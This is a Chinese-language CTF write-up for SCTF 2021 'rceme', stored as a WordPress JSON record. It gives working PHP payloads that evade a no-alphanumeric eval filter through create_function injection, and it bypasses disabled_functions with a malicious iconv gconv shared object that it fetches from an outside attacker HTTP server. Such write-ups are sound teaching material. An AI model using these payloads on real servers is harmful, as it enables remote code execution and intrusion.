{"id":2933,"date":"2026-01-11T19:29:00","date_gmt":"2026-01-11T11:29:00","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2933"},"modified":"2026-01-11T19:29:03","modified_gmt":"2026-01-11T11:29:03","slug":"sctf-2021-rceme","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2026\/01\/11\/sctf-2021-rceme\/","title":{"rendered":"SCTF 2021 rceme"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111120817.png\" alt=\"Pasted image 20260111120817.png\"><\/p>\n<h1>\u4e00\u3001\u8bbf\u95ee\u9898\u76ee<\/h1>\n<p>\u8f93\u51fa\u4e86\u5f88\u591adisabled_functions<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111171606.png\" alt=\"Pasted image 20260111171606.png\"><\/p>\n<h1>\u4e8c\u3001\u5206\u6790\u6e90\u7801<\/h1>\n<p>\u6e90\u7801\u5982\u4e0b<\/p>\n<pre><code class=\"language-php\">&lt;?php  \nif(isset($_POST['cmd'])){  \n    $code = $_POST['cmd'];  \n    if(preg_match('\/[A-Za-z0-9]|\\'|&quot;|`|\\ |,|-|\\+|=|\\\/|\\\\|&lt;|&gt;|\\$|\\?|\\^|&amp;|\\|\/ixm',$code)){  \n        die('&lt;script&gt;alert(\\'Try harder!\\');history.back()&lt;\/script&gt;');  \n    }else if(';' === preg_replace('\/[^\\s\\(\\)]+?\\((?R)?\\)\/', '', $code)){  \n        @eval($code);  \n        die();  \n    }  \n} else {  \n    highlight_file(__FILE__);  \n    var_dump(ini_get(&quot;disable_functions&quot;));  \n}  \n?&gt;\n<\/code><\/pre>\n<p>\u7b2c\u4e00\u4e2a\u5339\u914d<\/p>\n<pre><code>\/[A-Za-z0-9]|\\'|&quot;|`|\\ |,|-|\\+|=|\\\/|\\\\|&lt;|&gt;|\\$|\\?|\\^|&amp;|\\|\/ixm\n<\/code><\/pre>\n<p>\u6240\u6709\u5b57\u6bcd\u5927\u5c0f\u5199\u3001\u6570\u5b57\u3001\u5355\u5f15\u53f7<code>'<\/code>\u3001\u53cc\u5f15\u53f7<code>&quot;<\/code>\u3001\u53cd\u5f15\u53f7&#8217; \u3001\u7a7a\u683c\u3001\u9017\u53f7<code>,<\/code>\u3001\u51cf\u53f7<code>-<\/code>\u3001\u52a0\u53f7<code>+<\/code>\u3001\u7b49\u53f7<code>=<\/code>\u3001\u6b63\u659c\u6760<code>\/<\/code>\u3001\u53cd\u659c\u6760<code>\\<\/code>\u3001\u5de6\u5c16\u62ec\u53f7<code>&lt;<\/code>\u3001\u53f3\u5c16\u62ec\u53f7<code>&gt;<\/code>\u3001\u7f8e\u5143\u7b26<code>$<\/code>\u3001\u95ee\u53f7<code>?<\/code>\u3001\u5f02\u6216\u7b26<code>^<\/code>\u3001\u4e0e\u7b26<code>&amp;<\/code>\u3001\u7ad6\u7ebf\u7b26<code>|<\/code><br \/>\n\u65e0\u5b57\u6bcd\u6570\u5b57RCE<\/p>\n<p>\u7b2c\u4e8c\u4e2a\u5339\u914d<\/p>\n<pre><code>';' === preg_replace('\/[^\\s\\(\\)]+?\\((?R)?\\)\/', '', $code\n<\/code><\/pre>\n<p>\u6240\u6709\u7b26\u5408\u300c\u51fd\u6570\u8c03\u7528\u683c\u5f0f\u300d\u7684\u5185\u5bb9\u5168\u90e8\u5220\u6389\uff0c\u5220\u5e72\u51c0\u540e\u5982\u679c\u53ea\u5269\u4e0b\u4e00\u4e2a\u5206\u53f7<code>;<\/code><br \/>\n<code>[^\\s\\(\\)]+?<\/code> \u2192 \u5339\u914d\uff1a\u9664\u4e86\u300c\u7a7a\u767d\u7b26\u3001\u5de6\u5706\u62ec\u53f7 <code>(<\/code>\u3001\u53f3\u5706\u62ec\u53f7 <code>)<\/code>\u300d\u4e4b\u5916\u7684\u4efb\u610f\u8fde\u7eed\u5b57\u7b26<br \/>\n\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u65e0\u53c2\u6570RCE\uff0c\u53ef\u4ee5\u5d4c\u5957\uff0c\u5982func(func())\uff0c\u4f46\u662f\u51fd\u6570\u540d\u4e2d\u4e0d\u80fd\u6709()\uff0c\u6240\u4ee5\u533a\u53cd\u7ed5\u8fc7\u7684(~%xx)()\u663e\u793a\u4e0d\u9002\u7528<\/p>\n<p>\u770b\u5230<code>var_dump(ini_get(&quot;disable_functions&quot;));<\/code>,\u591a\u534a\u8981\u8003\u7ed5\u8fc7disabled_functions<\/p>\n<p>\u83b7\u53d6disabled_functions\u7684\u65b9\u6cd5<\/p>\n<pre><code>1.phpinfo()\n2.var_dump(ini_get(\u201cdisable_functions\u201d));\n3.var_dump(get_cfg_var(\u201cdisable_functions\u201d));\n\u5176\u4ed6\u7684\nvar_dump(get_cfg_var(\u201copen_basedir\u201d));\nvar_dump(ini_get_all());\n<\/code><\/pre>\n<h1>\u4e09\u3001\u6784\u9020payload<\/h1>\n<h2>1.\u83b7\u53d6\u6ca1\u6709\u8fc7\u6ee4\u7684\u51fd\u6570<\/h2>\n<pre><code>strlen\nerror_reporting\nset_error_handler\ncreate_function\npreg_match\npreg_replace\nphpinfo\nstrstr\nescapeshellarg\ngetenv\nputenv\ncall_user_func\nunserialize\nvar_dump\nhighlight_file\nshow_source\nini_get\nend\napache_setenv\ngetallheaders\n<\/code><\/pre>\n<h2>2.\u4f7f\u7528create_function\u51fd\u6570\u6267\u884c\u547d\u4ee4<\/h2>\n<p>\u8fd9\u91cc\u9017\u53f7\u88ab\u8fc7\u6ee4\uff0c\u4e3a\u4e86\u4f20\u5165\u53c2\u6570\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u53ef\u53d8\u53c2\u6570\u5217\u8868\u5b9e\u73b0<br \/>\n\u5728PHP 5.6\u4ee5\u540e\uff0c\u53c2\u6570\u5217\u8868\u53ef\u4ee5\u5305\u62ec\u2026\uff0c\u4ed6\u8868\u793a\u51fd\u6570\u63a5\u53d7\u4efb\u610f\u6570\u91cf\u7684\u53c2\u6570\u3002\u53c2\u6570\u5c06\u4f5c\u4e3a\u6570\u7ec4\u4f20\u9012\u5230\u7ed9\u5b9a\u7684\u53d8\u91cf\u4e2d<\/p>\n<pre><code class=\"language-php\">&lt;?php\n$args=['','}system(&quot;whoami&quot;);\/\/'];\ncreate_function(...$args);\n?&gt;\n<\/code><\/pre>\n<p>create_function\u662f\u7528eval\u521b\u5efa\u51fd\u6570\uff0c\u5229\u7528<code>}<\/code>\u95ed\u5408\u524d\u9762\u7684<code>{<\/code>,\u7136\u540e\u6267\u884c\u4ee3\u7801\uff0c\u6700\u540e\u5229\u7528<code>\/\/<\/code>\u6765\u6ce8\u91ca\u70b9\u540e\u9762\u7684<code>}<\/code><\/p>\n<pre><code>function __lambda_func() {\n{\n    }system(&quot;whoami&quot;);\/\/ \n}\n}\n<\/code><\/pre>\n<p>\u6784\u9020\u51fd\u6570<\/p>\n<pre><code>create_function(...unserialize(end(getallheaders())))\n<\/code><\/pre>\n<p>end\uff1a\u5c06array\u7684\u5185\u90e8\u6307\u9488\u79fb\u52a8\u5230\u6700\u540e\u4e00\u4e2a\u5355\u5143\u5e76\u8fd4\u56de\u5176\u503c\u3002<br \/>\ngetallheaders\uff1a\u83b7\u53d6\u5168\u90e8 HTTP \u8bf7\u6c42\u5934\u4fe1\u606f\uff0c\u5f97\u5230\u4e00\u4e2a\u6570\u7ec4\uff08\u6709\u952e\u503c\u5bf9\uff09<\/p>\n<p>\u6784\u9020\u5e8f\u5217\u5316\u5185\u5bb9<\/p>\n<pre><code class=\"language-php\">&lt;?php\n$arr=['','}eval($_POST[&quot;a&quot;]);\/\/'];\n$str=serialize($arr);\necho $str;\n<\/code><\/pre>\n<pre><code>a:2:{i:0;s:0:&quot;&quot;;i:1;s:21:&quot;}eval($_POST[&quot;a&quot;]);\/\/&quot;;}\n<\/code><\/pre>\n<p>\u5c06\u8fd9\u4e32\u5f97\u5230\u7684\u5e8f\u5217\u5316\u5b57\u7b26\uff0c\u653e\u5728http\u4fdd\u62a5\u6587\u5934\u90e8\u6700\u540e\uff0c\u7136\u540e\u53cd\u5e8f\u5217\u5316\uff0c\u5c31\u53ef\u4ee5\u89e6\u53d1\u4ee3\u7801<\/p>\n<p>\u53d6\u53cd\u7ed3\u5408\u5f02\u6216<code>[!%FF]<\/code>\uff0c(~%xx)()\u5f62\u5f0f\u88ab\u8fc7\u6ee4<br \/>\n<code>[~%8f%97%8f%96%91%99%90][!%FF]()<\/code> \u2261 <code>phpinfo()<\/code> \u2261 <code>(~%8f%97%8f%96%91%99%90)()<\/code><\/p>\n<pre><code class=\"language-python\">exp = &quot;&quot;  \ndef urlbm(s):  \n    ss = &quot;&quot;  \n    for each in s:  \n        ss += &quot;%&quot; + str(hex(255 - ord(each)))[2:]  \n    return f&quot;[~{ss}][!%FF](&quot;  \nwhile True:  \n    fun = input(&quot;Firebasky&gt;: &quot;).strip(&quot;)&quot;).split(&quot;(&quot;)  \n    exp = ''  \n    for each in fun[:-1]:  \n        exp += urlbm(each)  \n        print(exp)  \n    exp += &quot;)&quot; * (len(fun) - 1) + &quot;;&quot;  \n    print(exp)\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111175406.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111175406.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260111175406.png\"><\/div><br \/>\ncall_user_func(&#8230;unserialize(end(getallheaders())));\u7684payload<\/p>\n<pre><code>[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF](...[~%d1%d1%d1%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111180939.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111180939.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20260111180939.png\"><\/div><br \/>\n\u7136\u540e\u53d1\u73b0\u5176\u4ed6\u547d\u4ee4\u7528\u4e0d\u4e86\uff0c\u53ea\u80fd\u8fdb\u884c\u7ed5\u8fc7<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111184028.png\" alt=\"Pasted image 20260111184028.png\"><\/p>\n<h2>3.\u7ed5\u8fc7disabled_functions<\/h2>\n<p>\u5229\u7528<code>iconv<\/code>\u53bb\u7ed5\u8fc7df<\/p>\n<p>1.\u521b\u5efapayload.c<\/p>\n<pre><code class=\"language-c\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nvoid gconv() {}\n\nvoid gconv_init() {\n  puts(&quot;pwned&quot;);\n  system(&quot;bash -c '\/readflag &gt; \/tmp\/sna'&quot;);\n  exit(0);\n}\n<\/code><\/pre>\n<p>2.\u751f\u6210so\u6587\u4ef6<\/p>\n<pre><code>gcc payload.c -o payload.so -shared -fPIC \n<\/code><\/pre>\n<p>3.\u518d\u521b\u5efa\u4e00\u4e2agconv-modules\u6587\u4ef6<\/p>\n<pre><code>module  PAYLOAD\/\/    INTERNAL    ..\/..\/..\/..\/..\/..\/..\/..\/tmp\/payload    2\nmodule  INTERNAL    PAYLOAD\/\/    ..\/..\/..\/..\/..\/..\/..\/..\/tmp\/payload    2\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111183807.png\" alt=\"Pasted image 20260111183807.png\"><\/p>\n<p>4.\u5f00\u542fhttp\u670d\u52a1\uff0c\u8ba9\u9776\u673a\u53ef\u4ee5\u8bbf\u95ee\u4e0a\u4f20\u7684payload\u6587\u4ef6<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111184133.png\" alt=\"Pasted image 20260111184133.png\"><\/p>\n<p>5.\u7136\u540e\u5229\u7528\u00a0<code>SplFileObject<\/code>\u00a0\u5199\u00a0payload.so\u00a0\u548c\u00a0gconv-modules<br \/>\n\u4e00\u5b9a\u7b49\u54cd\u5e94\u5305\u72b6\u6001\u4e3a200\uff0c\u624d\u662f\u5199\u8fdb\u53bb\u6587\u4ef6\u4e86<\/p>\n<pre><code>a=$url=&quot;http:\/\/xx.xx.171.248:8000\/payload.so&quot;;$file1=new\nSplFileObject($url,'r');$a=&quot;&quot;;while(!$file1-&gt;eof()){$a=$a.$file1-&gt;fgets();}$file2 = new SplFileObject('\/tmp\/payload.so','w');$file2-&gt;fwrite($a);\n<\/code><\/pre>\n<pre><code>a=$url = &quot;http:\/\/xx.xx.171.248:8000\/gconv-modules&quot;;$file1 = new SplFileObject($url,'r');$a=&quot;&quot;;while(!$file1-&gt;eof()){$a=$a.$file1-&gt;fgets();}$file2 = new SplFileObject('\/tmp\/gconv-modules','w');$file2-&gt;fwrite($a);\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111184743.png\" alt=\"Pasted image 20260111184743.png\"><\/p>\n<p>6.\u5229\u7528\u4f2a\u534f\u8bae\u89e6\u53d1<\/p>\n<pre><code>a=putenv(&quot;GCONV_PATH=\/tmp\/&quot;);show_source(&quot;php:\/\/filter\/read=convert.iconv.payload.utf-8\/resource=\/tmp\/payload.so&quot;);\n<\/code><\/pre>\n<p>7.\u8fdb\u884c\u8bfb\u53d6<\/p>\n<pre><code>a=show_source(&quot;\/tmp\/sna&quot;);\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2026\/01\/Pasted-image-20260111185017.png\" alt=\"Pasted image 20260111185017.png\"><\/p>\n<h1>\u603b\u7ed3<\/h1>\n<ul>\n<li>\n<p>\u65e0\u5b57\u6bcd\u6570\u5b57RCE\uff1a\u53d6\u53cd\u7ed3\u5408\u5f02\u6216<code>[!%FF]<\/code><br \/>\n(~%xx)()\u5f62\u5f0f\u7684(\u548c)\u88ab\u8fc7\u6ee4\uff0c\u4f7f\u7528<code>[<\/code>\u548c<code>]<\/code>\u7ed5\u8fc7<\/p>\n<\/li>\n<li>\n<p>\u65e0\u53c2\u6570RCE\uff1a\u53ef\u53d8\u53c2\u6570\u5217\u8868\u7ed5\u8fc7\u51fd\u6570\u4e2d\u7684\u9017\u53f7\u88ab\u8fc7\u6ee4<br \/>\ncreate_function(&#8230;unserialize(end(getallheaders())))<\/p>\n<\/li>\n<li>\n<p>disabled_functions\u7ed5\u8fc7\uff1a<code>iconv<\/code>\u7ed5\u8fc7<br \/>\n\u6587\u7ae0\u53c2\u8003<\/p>\n<\/li>\n<\/ul>\n<pre><code>https:\/\/xz.aliyun.com\/t\/8669#toc-8\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u8bbf\u95ee\u9898\u76ee \u8f93\u51fa\u4e86\u5f88\u591adisabled_functions \u4e8c\u3001\u5206\u6790\u6e90\u7801 \u6e90\u7801\u5982\u4e0b &lt;?php if( [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,8,22],"tags":[86,85,67],"class_list":["post-2933","post","type-post","status-publish","format-standard","hentry","category-buuctf","category-ctf","category-ctf-web","tag-disabled_functions","tag-rce"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2933","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2933"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2933\/revisions"}],"predecessor-version":[{"id":2934,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2933\/revisions\/2934"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2933"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2933"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2933"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}